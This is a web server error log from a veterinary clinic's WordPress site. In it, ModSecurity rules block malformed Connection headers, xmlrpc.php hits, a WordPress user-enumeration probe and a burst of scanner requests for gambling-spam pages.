[Thu Apr 30 07:40:45.301276 2026] [:error] [pid 52436:tid 52460] [client 43.160.240.216:39446] [client 43.160.240.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afKW_QLFWPk_P7AfE8f7fwAAAVU"]
[Thu Apr 30 10:26:29.477577 2026] [:error] [pid 18220:tid 18236] [client 146.56.199.139:35932] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afK91cyESVSfAPebmxYN-wAAAM0"]
[Thu Apr 30 11:06:32.078904 2026] [:error] [pid 18113:tid 18178] [client 43.165.127.225:48074] [client 43.165.127.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afLHOHiIjwsVGkvz5IlwxQAAAIE"]
[Thu Apr 30 12:47:49.987509 2026] [:error] [pid 18111:tid 18142] [client 114.119.143.210:25931] [client 114.119.143.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/our-story/"] [unique_id "afLe9WctLbxB7Q1_oK3zywAAABQ"], referer: https://vetstars.com.au/appointment
[Thu Apr 30 15:32:28.260669 2026] [:error] [pid 18112:tid 18170] [client 43.165.7.74:34440] [client 43.165.7.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afMFjCUrJv3y8j6Lm1sHbAAAAFQ"]
[Thu Apr 30 18:15:51.876658 2026] [:error] [pid 5732:tid 5785] [client 43.157.147.3:59702] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afMr19uJ3iSd5Gdjqlgs7QAAANY"]
[Thu Apr 30 20:36:57.258926 2026] [autoindex:error] [pid 5733:tid 5810] [client 80.241.213.248:61733] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 30 22:39:19.954373 2026] [:error] [pid 5820:tid 5831] [client 175.27.163.171:42736] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afNplwyrLh3-LgH3Xv9oawAAAAk"]
[Thu Apr 30 23:21:57.204651 2026] [:error] [pid 5732:tid 5785] [client 154.182.101.51:55540] [client 154.182.101.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.182.101.51, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afNzlduJ3iSd5GdjqlhVuQAAANY"]
[Thu Apr 30 23:29:05.229120 2026] [:error] [pid 6456:tid 6480] [client 74.7.242.134:37192] [client 74.7.242.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.134, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afN1QUOBwsDodnkJK5yM7AAAAFY"], referer: https://vetstars.com.au/
[Thu Apr 30 23:29:29.838968 2026] [:error] [pid 5732:tid 5781] [client 74.7.227.53:44358] [client 74.7.227.53] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/1"] [unique_id "afN1WduJ3iSd5GdjqlhWZwAAANI"], referer: https://vetstars.com.au/author/ACS/
[Thu Apr 30 23:45:52.065462 2026] [:error] [pid 6456:tid 6462] [client 51.83.9.92:39436] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afN5MEOBwsDodnkJK5ySgAAAAEQ"]
[Thu Apr 30 23:45:54.519129 2026] [:error] [pid 6456:tid 6480] [client 51.83.9.92:57500] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afN5MkOBwsDodnkJK5ySggAAAFY"]
[Thu Apr 30 23:45:56.878422 2026] [:error] [pid 6456:tid 6478] [client 51.83.9.92:57516] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afN5NEOBwsDodnkJK5yShgAAAFQ"]
[Thu Apr 30 23:45:59.397632 2026] [:error] [pid 6456:tid 6477] [client 51.83.9.92:57530] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afN5N0OBwsDodnkJK5ySjAAAAFM"]
[Thu Apr 30 23:46:01.910065 2026] [:error] [pid 6456:tid 6463] [client 51.83.9.92:34766] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afN5OUOBwsDodnkJK5ySkwAAAEU"]
[Thu Apr 30 23:46:04.412901 2026] [:error] [pid 5733:tid 5806] [client 51.83.9.92:34768] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afN5PPT55_Ioa9J2OpIImwAAARA"]
[Thu Apr 30 23:46:06.935086 2026] [:error] [pid 5820:tid 5837] [client 51.83.9.92:34770] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afN5PgyrLh3-LgH3Xv90EgAAAA8"]
[Thu Apr 30 23:46:09.456840 2026] [:error] [pid 5731:tid 5735] [client 51.83.9.92:34784] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afN5QQ8tX7TbSfYoUIxUzAAAAIA"]
[Thu Apr 30 23:46:11.811909 2026] [:error] [pid 5732:tid 5776] [client 51.83.9.92:47492] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afN5Q9uJ3iSd5GdjqlhYIQAAAM0"]
[Thu Apr 30 23:46:14.385248 2026] [:error] [pid 6456:tid 6467] [client 51.83.9.92:47500] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afN5RkOBwsDodnkJK5ySmgAAAEk"]
[Thu Apr 30 23:46:16.738282 2026] [:error] [pid 6456:tid 6474] [client 51.83.9.92:47512] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afN5SEOBwsDodnkJK5ySoQAAAFA"]
[Thu Apr 30 23:46:19.257918 2026] [:error] [pid 6456:tid 6481] [client 51.83.9.92:47524] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afN5S0OBwsDodnkJK5ySpgAAAFc"]
[Thu Apr 30 23:46:21.778379 2026] [:error] [pid 6456:tid 6479] [client 51.83.9.92:40452] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afN5TUOBwsDodnkJK5ySqQAAAFU"]
[Thu Apr 30 23:46:24.263073 2026] [:error] [pid 5731:tid 5738] [client 51.83.9.92:40456] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afN5UA8tX7TbSfYoUIxU0gAAAIM"]
[Thu Apr 30 23:46:26.626454 2026] [:error] [pid 5732:tid 5766] [client 51.83.9.92:40462] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afN5UtuJ3iSd5GdjqlhYJwAAAMM"]
[Thu Apr 30 23:46:29.120220 2026] [:error] [pid 5731:tid 5758] [client 51.83.9.92:40476] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afN5VQ8tX7TbSfYoUIxU1gAAAJc"]
[Thu Apr 30 23:46:31.450416 2026] [:error] [pid 5733:tid 5794] [client 51.83.9.92:40478] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afN5V_T55_Ioa9J2OpIIrgAAAQQ"]
[Thu Apr 30 23:46:33.954070 2026] [:error] [pid 5732:tid 5770] [client 51.83.9.92:42898] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afN5WduJ3iSd5GdjqlhYKAAAAMc"]
[Thu Apr 30 23:46:36.463030 2026] [:error] [pid 6456:tid 6464] [client 51.83.9.92:42908] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afN5XEOBwsDodnkJK5ySsAAAAEY"]
[Thu Apr 30 23:46:38.922475 2026] [:error] [pid 6456:tid 6481] [client 51.83.9.92:42916] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "afN5XkOBwsDodnkJK5ySswAAAFc"]
[Thu Apr 30 23:46:41.253981 2026] [:error] [pid 6456:tid 6462] [client 51.83.9.92:42930] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "afN5YUOBwsDodnkJK5yStQAAAEQ"]
[Fri May 01 00:58:44.857993 2026] [:error] [pid 5733:tid 5812] [client 217.182.194.3:54822] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afOKRPT55_Ioa9J2OpIRbAAAARY"]
[Fri May 01 00:58:47.320964 2026] [:error] [pid 5731:tid 5739] [client 217.182.194.3:47822] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "afOKRw8tX7TbSfYoUIxbIwAAAIQ"]
[Fri May 01 00:58:50.000136 2026] [:error] [pid 5731:tid 5752] [client 217.182.194.3:59028] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afOKSQ8tX7TbSfYoUIxbJgAAAJE"]
[Fri May 01 00:58:52.610712 2026] [:error] [pid 5731:tid 5736] [client 217.182.194.3:59044] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afOKTA8tX7TbSfYoUIxbKgAAAIE"]
[Fri May 01 00:58:55.270805 2026] [:error] [pid 5733:tid 5796] [client 217.182.194.3:59056] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afOKT_T55_Ioa9J2OpIRhAAAAQY"]
[Fri May 01 00:58:57.793774 2026] [:error] [pid 5733:tid 5809] [client 217.182.194.3:59060] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afOKUfT55_Ioa9J2OpIRjQAAARM"]
[Fri May 01 00:59:00.385512 2026] [:error] [pid 5820:tid 5822] [client 217.182.194.3:38314] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afOKVAyrLh3-LgH3Xv99GQAAAAA"]
[Fri May 01 00:59:03.050124 2026] [:error] [pid 6456:tid 6480] [client 217.182.194.3:38316] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afOKV0OBwsDodnkJK5yetQAAAFY"]
[Fri May 01 00:59:05.594404 2026] [:error] [pid 6456:tid 6459] [client 217.182.194.3:38330] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afOKWUOBwsDodnkJK5yevQAAAEE"]
[Fri May 01 00:59:08.045413 2026] [:error] [pid 5731:tid 5736] [client 217.182.194.3:38346] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afOKXA8tX7TbSfYoUIxbOQAAAIE"]
[Fri May 01 00:59:10.285936 2026] [:error] [pid 5733:tid 5795] [client 217.182.194.3:46544] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afOKXvT55_Ioa9J2OpIRlwAAAQU"]
[Fri May 01 00:59:12.600670 2026] [:error] [pid 6456:tid 6462] [client 217.182.194.3:46556] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afOKYEOBwsDodnkJK5yexAAAAEQ"]
[Fri May 01 00:59:15.087002 2026] [:error] [pid 21839:tid 21844] [client 217.182.194.3:46572] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afOKY5_Sh66m95WwxJ4UzwAAAUI"]
[Fri May 01 00:59:17.720693 2026] [:error] [pid 6456:tid 6466] [client 217.182.194.3:46580] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afOKZUOBwsDodnkJK5yexQAAAEg"]
[Fri May 01 00:59:20.334532 2026] [:error] [pid 5733:tid 5799] [client 217.182.194.3:39230] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afOKaPT55_Ioa9J2OpIRpAAAAQk"]
[Fri May 01 00:59:22.798919 2026] [:error] [pid 5733:tid 5810] [client 217.182.194.3:39240] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afOKavT55_Ioa9J2OpIRqgAAARQ"]
[Fri May 01 00:59:25.268681 2026] [:error] [pid 5733:tid 5808] [client 217.182.194.3:39252] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afOKbfT55_Ioa9J2OpIRsgAAARI"]
[Fri May 01 00:59:27.722379 2026] [:error] [pid 5820:tid 5846] [client 217.182.194.3:39254] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afOKbwyrLh3-LgH3Xv99IwAAABg"]
[Fri May 01 00:59:30.062595 2026] [:error] [pid 5733:tid 5798] [client 217.182.194.3:58650] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "afOKcvT55_Ioa9J2OpIRtwAAAQg"]
[Fri May 01 00:59:32.536932 2026] [:error] [pid 6456:tid 6471] [client 217.182.194.3:58666] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afOKdEOBwsDodnkJK5yezQAAAE0"]
